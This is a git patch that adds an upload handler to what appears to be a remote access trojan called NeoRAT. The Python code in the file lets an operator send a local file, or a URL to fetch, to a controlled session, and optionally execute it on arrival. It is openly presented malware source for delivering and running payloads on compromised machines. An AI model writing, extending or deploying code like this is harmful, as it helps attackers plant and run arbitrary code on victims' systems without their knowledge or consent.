From 20dbeb2f38684c65ff0a4b99012c161295708e88 Mon Sep 17 00:00:00 2001 From: AL-LCL Date: Fri, 19 May 2023 11:01:49 +0200 Subject: NeoRAT --- domestic/session/server_handling/upload.py | 36 ++++++++++++++++++++++++++++++ 1 file changed, 36 insertions(+) create mode 100644 domestic/session/server_handling/upload.py (limited to 'domestic/session/server_handling/upload.py') diff --git a/domestic/session/server_handling/upload.py b/domestic/session/server_handling/upload.py new file mode 100644 index 0000000..fe88f05 --- /dev/null +++ b/domestic/session/server_handling/upload.py @@ -0,0 +1,36 @@ +import os + +from domestic.parse.error_exception_handling import * +from domestic.session.session_message import * +from domestic.utility.read_file import * +from domestic.global_state import * + + +@error_exception_handling +def upload(message): + filename = validate_dict_key(message, 'file', False) + url = validate_dict_key(message, 'url', False) + execute_on_upload = validate_dict_key(message, 'execute') + + message['max_file_size'] = state['settings']['max-file-size'] + + if execute_on_upload is None: + message['execute'] = False + else: + message['execute'] = True + + if filename: + root = f'{state["root"]}/{state["settings"]["folders"]["parent"]}/{state["settings"]["folders"]["child"][0]}/{filename}' + + if (os.path.getsize(root) / 1024 / 1024) > message['max_file_size']: + status_message(f'File exceeding maximum size of {message["max_file_size"]}MB', 'danger') + return + + message['from_url'], message['file_data'] = False, read_file(root) + elif url: + message['file'], message['from_url'], message['file_data'] = url, True, None + del message['url'] + else: + raise Exception('Error message') + + session_message(message, loading_text='uploading file...') \ No newline at end of file -- cgit v1.2.3